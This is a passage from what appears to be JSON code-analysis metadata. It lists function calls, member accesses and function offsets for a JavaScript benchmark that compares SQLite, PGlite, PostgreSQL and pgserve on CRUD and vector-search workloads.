              "start"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "db.prepare.all"
            ],
            [
              "",
              "db.prepare"
            ],
            [
              "",
              "metrics.addLatency"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addError"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "db.prepare.run"
            ],
            [
              "",
              "db.prepare"
            ],
            [
              "",
              "metrics.addLatency"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addError"
            ],
            [
              "",
              "metrics.end"
            ],
            [
              "",
              "db.close"
            ],
            [
              "",
              "metrics.getReport"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "dataDir"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.rmSync"
            ],
            [
              "",
              "db"
            ],
            [
              "",
              "db.exec"
            ],
            [
              "",
              "metrics"
            ],
            [
              "",
              "metrics.start"
            ],
            [
              "",
              "total"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "db.query"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addLatency"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addError"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "db.query"
            ],
            [
              "",
              "metrics.addLatency"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addError"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "db.query"
            ],
            [
              "",
              "metrics.addLatency"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addError"
            ],
            [
              "",
              "metrics.end"
            ],
            [
              "",
              "db.close"
            ],
            [
              "",
              "metrics.getReport"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "pool"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "metrics"
            ],
            [
              "",
              "metrics.start"
            ],
            [
              "",
              "concurrent"
            ],
            [
              "",
              "perThread"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "promises"
            ],
            [
              "",
              "promises.push"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addLatency"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addError"
            ],
            [
              "",
              "Promise.all"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "metrics.addLatency"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addError"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "metrics.addLatency"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addError"
            ],
            [
              "",
              "metrics.end"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "pool.end"
            ],
            [
              "",
              "metrics.getReport"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "pool.end.catch"
            ],
            [
              "",
              "pool.end"
            ],
            [
              "",
              "mode"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "server"
            ],
            [
              "",
              "server"
            ],
            [
              "",
              "startMultiTenantServer"
            ],
            [
              "",
              "setTimeout"
            ],
            [
              "",
              "port"
            ],
            [
              "",
              "pool"
            ],
            [
              "",
              "connected"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "connected"
            ],
            [
              "",
              "setTimeout"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "metrics"
            ],
            [
              "",
              "metrics.start"
            ],
            [
              "",
              "concurrent"
            ],
            [
              "",
              "perThread"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "promises"
            ],
            [
              "",
              "promises.push"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addLatency"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addError"
            ],
            [
              "",
              "Promise.all"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "metrics.addLatency"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addError"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "metrics.addLatency"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "metrics.addError"
            ],
            [
              "",
              "metrics.end"
            ],
            [
              "",
              "pool.end"
            ],
            [
              "",
              "server.stop"
            ],
            [
              "",
              "metrics.getReport"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "server.stop"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "dataDir"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.rmSync"
            ],
            [
              "",
              "db"
            ],
            [
              "",
              "db.exec"
            ],
            [
              "",
              "db.exec"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "latencies"
            ],
            [
              "",
              "vec"
            ],
            [
              "",
              "formatPgVector"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "performance.now"
            ],
            [
              "",
              "db.query"
            ],
            [
              "",
              "latencies.push"
            ],
            [
              "",
              "performance.now"
            ],
            [
              "",
              "totalTime"
            ],
            [
              "",
              "latencies.reduce"
            ],
            [
              "",
              "qps"
            ],
            [
              "",
              "Math.round"
            ],
            [
              "",
              "latencies.sort"
            ],
            [
              "",
              "p50"
            ],
            [
              "",
              "latencies.Math.floor.toFixed"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "p99"
            ],
            [
              "",
              "latencies.Math.floor.toFixed"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "db.close"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "vec"
            ],
            [
              "",
              "formatPgVector"
            ],
            [
              "",
              "db.query"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "queryVec"
            ],
            [
              "",
              "formatPgVector"
            ],
            [
              "",
              "db.query"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "latencies"
            ],
            [
              "",
              "approximateResults"
            ],
            [
              "",
              "queryVec"
            ],
            [
              "",
              "formatPgVector"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "performance.now"
            ],
            [
              "",
              "result"
            ],
            [
              "",
              "db.query"
            ],
            [
              "",
              "latencies.push"
            ],
            [
              "",
              "performance.now"
            ],
            [
              "",
              "approximateResults.push"
            ],
            [
              "",
              "result.rows.map"
            ],
            [
              "",
              "calculateRecall"
            ],
            [
              "",
              "totalTime"
            ],
            [
              "",
              "latencies.reduce"
            ],
            [
              "",
              "qps"
            ],
            [
              "",
              "Math.round"
            ],
            [
              "",
              "latencies.sort"
            ],
            [
              "",
              "p50"
            ],
            [
              "",
              "latencies.Math.floor.toFixed"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "p99"
            ],
            [
              "",
              "latencies.Math.floor.toFixed"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "db.close"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "pool"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "pool.end"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "latencies"
            ],
            [
              "",
              "vec"
            ],
            [
              "",
              "formatPgVector"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "performance.now"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "latencies.push"
            ],
            [
              "",
              "performance.now"
            ],
            [
              "",
              "totalTime"
            ],
            [
              "",
              "latencies.reduce"
            ],
            [
              "",
              "qps"
            ],
            [
              "",
              "Math.round"
            ],
            [
              "",
              "latencies.sort"
            ],
            [
              "",
              "p50"
            ],
            [
              "",
              "latencies.Math.floor.toFixed"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "p99"
            ],
            [
              "",
              "latencies.Math.floor.toFixed"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "pool.end"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "vec"
            ],
            [
              "",
              "formatPgVector"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "queryVec"
            ],
            [
              "",
              "formatPgVector"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "latencies"
            ],
            [
              "",
              "approximateResults"
            ],
            [
              "",
              "queryVec"
            ],
            [
              "",
              "formatPgVector"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "performance.now"
            ],
            [
              "",
              "result"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "latencies.push"
            ],
            [
              "",
              "performance.now"
            ],
            [
              "",
              "approximateResults.push"
            ],
            [
              "",
              "result.rows.map"
            ],
            [
              "",
              "calculateRecall"
            ],
            [
              "",
              "totalTime"
            ],
            [
              "",
              "latencies.reduce"
            ],
            [
              "",
              "qps"
            ],
            [
              "",
              "Math.round"
            ],
            [
              "",
              "latencies.sort"
            ],
            [
              "",
              "p50"
            ],
            [
              "",
              "latencies.Math.floor.toFixed"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "p99"
            ],
            [
              "",
              "latencies.Math.floor.toFixed"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "pool.end"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "pool.end.catch"
            ],
            [
              "",
              "pool.end"
            ],
            [
              "",
              "mode"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "server"
            ],
            [
              "",
              "port"
            ],
            [
              "",
              "server"
            ],
            [
              "",
              "startMultiTenantServer"
            ],
            [
              "",
              "setTimeout"
            ],
            [
              "",
              "pool"
            ],
            [
              "",
              "connected"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "connected"
            ],
            [
              "",
              "setTimeout"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "pool.end"
            ],
            [
              "",
              "server.stop"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "latencies"
            ],
            [
              "",
              "vec"
            ],
            [
              "",
              "formatPgVector"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "performance.now"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "latencies.push"
            ],
            [
              "",
              "performance.now"
            ],
            [
              "",
              "totalTime"
            ],
            [
              "",
              "latencies.reduce"
            ],
            [
              "",
              "qps"
            ],
            [
              "",
              "Math.round"
            ],
            [
              "",
              "latencies.sort"
            ],
            [
              "",
              "p50"
            ],
            [
              "",
              "latencies.Math.floor.toFixed"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "p99"
            ],
            [
              "",
              "latencies.Math.floor.toFixed"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "pool.end"
            ],
            [
              "",
              "server.stop"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "vec"
            ],
            [
              "",
              "formatPgVector"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "queryVec"
            ],
            [
              "",
              "formatPgVector"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "latencies"
            ],
            [
              "",
              "approximateResults"
            ],
            [
              "",
              "queryVec"
            ],
            [
              "",
              "formatPgVector"
            ],
            [
              "",
              "start"
            ],
            [
              "",
              "performance.now"
            ],
            [
              "",
              "result"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "latencies.push"
            ],
            [
              "",
              "performance.now"
            ],
            [
              "",
              "approximateResults.push"
            ],
            [
              "",
              "result.rows.map"
            ],
            [
              "",
              "calculateRecall"
            ],
            [
              "",
              "totalTime"
            ],
            [
              "",
              "latencies.reduce"
            ],
            [
              "",
              "qps"
            ],
            [
              "",
              "Math.round"
            ],
            [
              "",
              "latencies.sort"
            ],
            [
              "",
              "p50"
            ],
            [
              "",
              "latencies.Math.floor.toFixed"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "p99"
            ],
            [
              "",
              "latencies.Math.floor.toFixed"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "pool.query"
            ],
            [
              "",
              "pool.end"
            ],
            [
              "",
              "server.stop"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "server.stop"
            ],
            [
              "",
              "report"
            ],
            [
              "",
              "jsonPath"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "JSON.stringify"
            ],
            [
              "",
              "md"
            ],
            [
              "",
              "hasRam"
            ],
            [
              "",
              "throughputs"
            ],
            [
              "",
              "p50s"
            ],
            [
              "",
              "p99s"
            ],
            [
              "",
              "errors"
            ],
            [
              "",
              "getMaxKey"
            ],
            [
              "",
              "Object.entries.reduce"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "getMinKey"
            ],
            [
              "",
              "Object.entries.filter.reduce"
            ],
            [
              "",
              "Object.entries.filter"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "getMinErrorKey"
            ],
            [
              "",
              "Object.entries.reduce"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "nameMap"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "String.padEnd"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "getMaxKey"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "getMinKey"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "getMinKey"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "getMinErrorKey"
            ],
            [
              "",
              "winner"
            ],
            [
              "",
              "getMaxKey"
            ],
            [
              "",
              "vsDisk"
            ],
            [
              "",
              "vsPGlite"
            ],
            [
              "",
              "vsPGlite"
            ],
            [
              "",
              "throughputs"
            ],
            [
              "",
              "p50s"
            ],
            [
              "",
              "p99s"
            ],
            [
              "",
              "errors"
            ],
            [
              "",
              "getMaxKey"
            ],
            [
              "",
              "Object.entries.reduce"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "getMinKey"
            ],
            [
              "",
              "Object.entries.filter.reduce"
            ],
            [
              "",
              "Object.entries.filter"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "getMinErrorKey"
            ],
            [
              "",
              "Object.entries.reduce"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "nameMap"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "String.padEnd"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "getMaxKey"
            ],
            [
              "",
              "pad"
            ],
            [
              "",
              "getMinKey"
            ],
            [
              "",
              "getMinKey"
            ],
            [
              "",
              "getMinErrorKey"
            ],
            [
              "",
              "winner"
            ],
            [
              "",
              "getMaxKey"
            ],
            [
              "",
              "vsPGlite"
            ],
            [
              "",
              "String.padEnd"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "recallVal"
            ],
            [
              "",
              "String.padEnd"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "recallVal"
            ],
            [
              "",
              "recallVal"
            ],
            [
              "",
              "recallVal"
            ],
            [
              "",
              "recallVal"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "val"
            ],
            [
              "",
              "candidates"
            ],
            [
              "",
              "candidates.pglite"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "candidates.postgres"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "candidates.pgserve"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "candidates.pgserveRam"
            ],
            [
              "",
              "parseFloat"
            ],
            [
              "",
              "Object.keys"
            ],
            [
              "",
              "nameMap"
            ],
            [
              "",
              "perfect"
            ],
            [
              "",
              "Object.entries.filter"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "winnerKey"
            ],
            [
              "",
              "winnerKey"
            ],
            [
              "",
              "perfect.reduce"
            ],
            [
              "",
              "winnerKey"
            ],
            [
              "",
              "Object.entries.reduce"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "mdPath"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "args"
            ],
            [
              "",
              "process.argv.slice"
            ],
            [
              "",
              "includeVector"
            ],
            [
              "",
              "args.includes"
            ],
            [
              "",
              "args.includes"
            ],
            [
              "",
              "vectorOnly"
            ],
            [
              "",
              "args.includes"
            ],
            [
              "",
              "args.includes"
            ],
            [
              "",
              "args.includes"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "banner"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fs.mkdirSync"
            ],
            [
              "",
              "results"
            ],
            [
              "",
              "vectorResults"
            ],
            [
              "",
              "canUseRam"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "section"
            ],
            [
              "",
              "sqlite"
            ],
            [
              "",
              "benchmarkSQLite"
            ],
            [
              "",
              "pglite"
            ],
            [
              "",
              "benchmarkPGlite"
            ],
            [
              "",
              "postgres"
            ],
            [
              "",
              "benchmarkPostgreSQL"
            ],
            [
              "",
              "pgserve"
            ],
            [
              "",
              "benchmarkPgserve"
            ],
            [
              "",
              "pgserveRam"
            ],
            [
              "",
              "benchmarkPgserve"
            ],
            [
              "",
              "results.push"
            ],
            [
              "",
              "dimension"
            ],
            [
              "",
              "corpusSize"
            ],
            [
              "",
              "getEmbeddingsPath"
            ],
            [
              "",
              "embeddings"
            ],
            [
              "",
              "loadEmbeddings"
            ],
            [
              "",
              "queryVectors"
            ],
            [
              "",
              "generateQueryVectors"
            ],
            [
              "",
              "section"
            ],
            [
              "",
              "groundTruth"
            ],
            [
              "",
              "groundTruth"
            ],
            [
              "",
              "getGroundTruth"
            ],
            [
              "",
              "queryVectors.slice"
            ],
            [
              "",
              "pglite"
            ],
            [
              "",
              "benchmarkPGliteVector"
            ],
            [
              "",
              "postgres"
            ],
            [
              "",
              "benchmarkPostgreSQLVector"
            ],
            [
              "",
              "pgserve"
            ],
            [
              "",
              "benchmarkPgserveVector"
            ],
            [
              "",
              "pgserveRam"
            ],
            [
              "",
              "benchmarkPgserveVector"
            ],
            [
              "",
              "vectorResults.push"
            ],
            [
              "",
              "isInsert"
            ],
            [
              "",
              "formatResult"
            ],
            [
              "",
              "name.padEnd"
            ],
            [
              "",
              "name.padEnd"
            ],
            [
              "",
              "name.padEnd"
            ],
            [
              "",
              "formatResult"
            ],
            [
              "",
              "formatResult"
            ],
            [
              "",
              "formatResult"
            ],
            [
              "",
              "formatResult"
            ],
            [
              "",
              "generateReport"
            ],
            [
              "",
              "printFinalResults"
            ],
            [
              "",
              "main.catch"
            ],
            [
              "",
              "main"
            ],
            [
              "",
              "../../src/index.js"
            ],
            [
              "",
              "./vector-generator.js"
            ],
            [
              "",
              "@electric-sql/pglite"
            ],
            [
              "",
              "@electric-sql/pglite/vector"
            ],
            [
              "",
              "bun:sqlite"
            ],
            [
              "",
              "fs"
            ],
            [
              "",
              "os"
            ],
            [
              "",
              "path"
            ],
            [
              "",
              "pg"
            ]
          ],
          "mbr": [
            "C.blue",
            "C.bold",
            "C.cyan",
            "C.dim",
            "C.green",
            "C.magenta",
            "C.reset",
            "C.yellow",
            "Date().toISOString",
            "Date().toLocaleString",
            "Date.now",
            "JSON.stringify",
            "Math.ceil",
            "Math.floor",
            "Math.max",
            "Math.min",
            "Math.round",
            "Object.entries",
            "Object.entries().filter",
            "Object.entries().filter().reduce",
            "Object.entries().reduce",
            "Object.keys",
            "Object.keys().length",
            "Object.values",
            "Promise.all",
            "String().padEnd",
            "String().padStart",
            "URL().pathname",
            "approximateResults.push",
            "args.includes",
            "candidates.pglite",
            "candidates.pgserve",
            "candidates.pgserveRam",
            "candidates.postgres",
            "console.error",
            "console.log",
            "data.errors",
            "data.p50",
            "data.p99",
            "data.recall",
            "data.skipped",
            "data.throughput",
            "db.close",
            "db.exec",
            "db.prepare",
            "db.prepare().all",
            "db.prepare().run",
            "db.query",
            "embeddings.vectors",
            "embeddings.vectors.length",
            "eng.count",
            "eng.crudQps",
            "eng.crudQps.toLocaleString",
            "eng.errors",
            "eng.name",
            "eng.name.padEnd",
            "eng.p50",
            "eng.p99",
            "eng.recallCount",
            "eng.score",
            "eng.score.toLocaleString",
            "eng.skipped",
            "eng.vecCount",
            "eng.vecQps",
            "eng.vecQps.toLocaleString",
            "eng.vecRecall",
            "engineOrder.push",
            "error.message",
            "error.message.includes",
            "error.name",
            "fs.existsSync",
            "fs.mkdirSync",
            "fs.rmSync",
            "fs.unlinkSync",
            "fs.writeFileSync",
            "latencies.length",
            "latencies.push",
            "latencies.reduce",
            "latencies.sort",
            "main().catch",
            "metrics.addError",
            "metrics.addLatency",
            "metrics.end",
            "metrics.getReport",
            "metrics.start",
            "name.padEnd",
            "op.concurrent",
            "op.count",
            "op.type",
            "os.platform",
            "path.join",
            "perfect.length",
            "perfect.reduce",
            "performance.now",
            "pglite.errors",
            "pglite.p50",
            "pglite.p99",
            "pglite.recall",
            "pglite.skipped",
            "pglite.throughput",
            "pgserve.errors",
            "pgserve.p50",
            "pgserve.p99",
            "pgserve.recall",
            "pgserve.skipped",
            "pgserve.throughput",
            "pgserveRam.errors",
            "pgserveRam.p50",
            "pgserveRam.p99",
            "pgserveRam.recall",
            "pgserveRam.skipped",
            "pgserveRam.throughput",
            "pool.end",
            "pool.end().catch",
            "pool.query",
            "postgres.errors",
            "postgres.p50",
            "postgres.p99",
            "postgres.recall",
            "postgres.skipped",
            "postgres.throughput",
            "process.argv",
            "process.argv.slice",
            "process.exit",
            "process.on",
            "promises.push",
            "queryVectors.length",
            "queryVectors.slice",
            "r.id",
            "r.p50",
            "r.p99",
            "r.reason",
            "r.recall",
            "r.skipped",
            "r.throughput",
            "reason.name",
            "recallStr.padStart",
            "result.rows",
            "result.rows.map",
            "results.errors",
            "results.p99",
            "results.push",
            "results.skipped",
            "results.throughput",
            "scenario.description",
            "scenario.dimension",
            "scenario.insertCount",
            "scenario.k",
            "scenario.name",
            "scenario.operations",
            "scenario.queryCount",
            "scenario.type",
            "scenario.warmupQueries",
            "server.stop",
            "sorted.length",
            "sqlite.errors",
            "sqlite.p50",
            "sqlite.p99",
            "sqlite.throughput",
            "v.recall",
            "vecQpsStr.padStart",
            "vectorResults.length",
            "vectorResults.push",
            "winner.padEnd"
          ],
          "tgt": [
            "Database",
            "Date",
            "Date().toISOString",
            "Date().toLocaleString",
            "Date.now",
            "Error",
            "JSON.stringify",
            "Math.ceil",
            "Math.floor",
            "Math.max",
            "Math.min",
            "Math.round",
            "Metrics",
            "Object.entries",
            "Object.entries().filter",
            "Object.entries().filter().reduce",
            "Object.entries().reduce",
            "Object.keys",
            "Object.values",
            "PGlite",
            "Pool",
            "Promise",
            "Promise.all",
            "String",
            "String().padEnd",
            "String().padStart",
            "URL",
            "approximateResults.push",
            "args.includes",
            "banner",
            "benchmarkPGlite",
            "benchmarkPGliteVector",
            "benchmarkPgserve",
            "benchmarkPgserveVector",
            "benchmarkPostgreSQL",
            "benchmarkPostgreSQLVector",
            "benchmarkSQLite",
            "calculateRecall",
            "console.error",
            "console.log",
            "db.close",
            "db.exec",
            "db.prepare",
            "db.prepare().all",
            "db.prepare().run",
            "db.query",
            "eng.crudQps.toLocaleString",
            "eng.name.padEnd",
            "eng.score.toLocaleString",
            "eng.vecQps.toLocaleString",
            "engineOrder.push",
            "error.message.includes",
            "formatPgVector",
            "formatResult",
            "fs.existsSync",
            "fs.mkdirSync",
            "fs.rmSync",
            "fs.unlinkSync",
            "fs.writeFileSync",
            "generateQueryVectors",
            "generateReport",
            "getEmbeddingsPath",
            "getGroundTruth",
            "getMaxKey",
            "getMinErrorKey",
            "getMinKey",
            "isNaN",
            "latencies.push",
            "latencies.reduce",
            "latencies.sort",
            "loadEmbeddings",
            "main",
            "main().catch",
            "metrics.addError",
            "metrics.addLatency",
            "metrics.end",
            "metrics.getReport",
            "metrics.start",
            "name.padEnd",
            "os.platform",
            "pad",
            "parseFloat",
            "path.join",
            "perfect.reduce",
            "performance.now",
            "pool.end",
            "pool.end().catch",
            "pool.query",
            "printFinalResults",
            "process.argv.slice",
            "process.exit",
            "process.on",
            "promises.push",
            "queryVectors.slice",
            "recallStr.padStart",
            "recallVal",
            "result.rows.map",
            "results.push",
            "section",
            "server.stop",
            "setTimeout",
            "startMultiTenantServer",
            "val",
            "vecQpsStr.padStart",
            "vectorResults.push",
            "winner.padEnd"
          ],
          "funcs": [
            [
              "banner",
              1112
            ],
            [
              "section",
              1831
            ],
            [
              "progressBar",
              2431
            ],
            [
              "calculateScore",
              2957
            ],
            [
              "printFinalResults",
              3468
            ],
            [
              "anonymous",
              9682
            ],
            [
              "anonymous",
              9853
            ],
            [
              "constructor",
              12223
            ],
            [
              "start",
              12365
            ],
            [
              "end",
              12415
            ],
            [
              "addLatency",
              12461
            ],
            [
              "addError",
              12514
            ],
            [
              "getThroughput",
              12657
            ],
            [
              "getPercentile",
              12835
            ],
            [
              "anonymous",
              12945
            ],
            [
              "getReport",
              13069
            ],
            [
              "benchmarkSQLite",
              13352
            ],
            [
              "benchmarkPGlite",
              15330
            ],
            [
              "benchmarkPostgreSQL",
              17319
            ],
            [
              "anonymous",
              18169
            ],
            [
              "anonymous",
              19813
            ],
            [
              "benchmarkPgserve",
              20137
            ],
            [
              "resolve",
              20580
            ],
            [
              "resolve",
              21146
            ],
            [
              "anonymous",
              21931
            ],
            [
              "benchmarkPGliteVector",
              23972
            ],
            [
              "anonymous",
              25203
            ],
            [
              "anonymous",
              25318
            ],
            [
              "r",
              27092
            ],
            [
              "anonymous",
              27286
            ],
            [
              "anonymous",
              27396
            ],
            [
              "benchmarkPostgreSQLVector",
              28149
            ],
            [
              "anonymous",
              29592
            ],
            [
              "anonymous",
              29707
            ],
            [
              "r",
              31485
            ],
            [
              "anonymous",
              31679
            ],
            [
              "anonymous",
              31789
            ],
            [
              "anonymous",
              32421
            ],
            [
              "benchmarkPgserveVector",
              32620
            ],
            [
              "resolve",
              33150
            ],
            [
              "resolve",
              33677
            ],
            [
              "anonymous",
              35022
            ],
            [
              "anonymous",
              35137
            ],
            [
              "r",
              36942
            ],
            [
              "anonymous",
              37136
            ],
            [
              "anonymous",
              37246
            ],
            [
              "generateReport",
              38132
            ],
            [
              "anonymous",
              40514
            ],
            [
              "anonymous",
              40550
            ],
            [
              "anonymous",
              40609
            ],
            [
              "anonymous",
              40645
            ],
            [
              "anonymous",
              40688
            ],
            [
              "anonymous",
              40752
            ],
            [
              "anonymous",
              40788
            ],
            [
              "anonymous",
              40977
            ],
            [
              "anonymous",
              44293
            ],
            [
              "anonymous",
              44329
            ],
            [
              "anonymous",
              44388
            ],
            [
              "anonymous",
              44424
            ],
            [
              "anonymous",
              44467
            ],
            [
              "anonymous",
              44531
            ],
            [
              "anonymous",
              44567
            ],
            [
              "anonymous",
              44729
            ],
            [
              "anonymous",
              47337
            ],
            [
              "anonymous",
              47386
            ],
            [
              "anonymous",
              47450
            ],
